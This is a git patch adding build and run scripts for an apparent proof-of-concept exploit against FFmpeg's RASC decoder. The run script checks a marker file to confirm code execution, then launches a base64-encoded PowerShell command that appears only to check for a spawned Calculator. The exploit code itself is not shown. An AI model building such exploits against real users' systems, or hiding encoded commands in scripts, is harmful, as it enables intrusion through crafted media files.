From d46028f3df1debe38b8ce24e197332d9366d97cd Mon Sep 17 00:00:00 2001 From: Church of Malware <3+ek0ms@noreply.git.churchofmalware.org> Date: Mon, 29 Jun 2026 16:40:12 +0000 Subject: [PATCH] Upload files to "ffmpeg-rasc-dlta-calc-poc/scripts" --- .../scripts/build_from_checkout.sh | 36 +++++++++++++++++++ .../scripts/run_calc_pop.sh | 20 +++++++++++ 2 files changed, 56 insertions(+) create mode 100644 ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh create mode 100644 ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh diff --git a/ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh b/ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh new file mode 100644 index 0000000..c2760dd --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh @@ -0,0 +1,36 @@ +#!/usr/bin/env bash +set -euo pipefail + +src="${1:?usage: build_from_checkout.sh /path/to/ffmpeg-checkout [build-dir] [output-bin]}" +build="${2:-/tmp/ffmpeg-rasc-dlta-build}" +out="${3:-./ffmpeg_rasc_dlta_calc_poc}" +root="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +jobs="${JOBS:-$(getconf _NPROCESSORS_ONLN 2>/dev/null || echo 4)}" +cc="${CC:-gcc}" + +mkdir -p "$build" +cd "$build" + +"$src/configure" \ + --enable-debug \ + --disable-doc \ + --disable-stripping \ + --disable-x86asm \ + --disable-programs \ + --disable-autodetect \ + --disable-everything \ + --enable-zlib \ + --enable-decoder=rasc + +make -j"$jobs" libavcodec/libavcodec.a libavutil/libavutil.a + +"$cc" -g -O0 \ + -I"$build" \ + -I"$src" \ + "$root/poc/ffmpeg_rasc_dlta_calc_poc.c" \ + "$build/libavcodec/libavcodec.a" \ + "$build/libavutil/libavutil.a" \ + -lz -lm -pthread -ldl \ + -o "$out" + +printf '%s\n' "$out" diff --git a/ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh b/ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh new file mode 100644 index 0000000..c47851b --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh @@ -0,0 +1,20 @@ +#!/usr/bin/env bash +set -euo pipefail + +bin="${1:-./ffmpeg_rasc_dlta_calc_poc}" +marker="/tmp/ffmpeg_rasc_exec_demo" + +rm -f "$marker" +"$bin" +sleep 2 + +if [ -f "$marker" ]; then + echo "marker:present" +else + echo "marker:missing" + exit 1 +fi + +if command -v powershell.exe >/dev/null 2>&1; then + powershell.exe -NoProfile -EncodedCommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAQwBhAGwAYwB1AGwAYQB0AG8AcgBBAHAAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAAUAByAG8AYwBlAHMAcwBOAGEAbQBlACwASQBkACwAUwB0AGEAcgB0AFQAaQBtAGUA 2>/dev/null || true +fi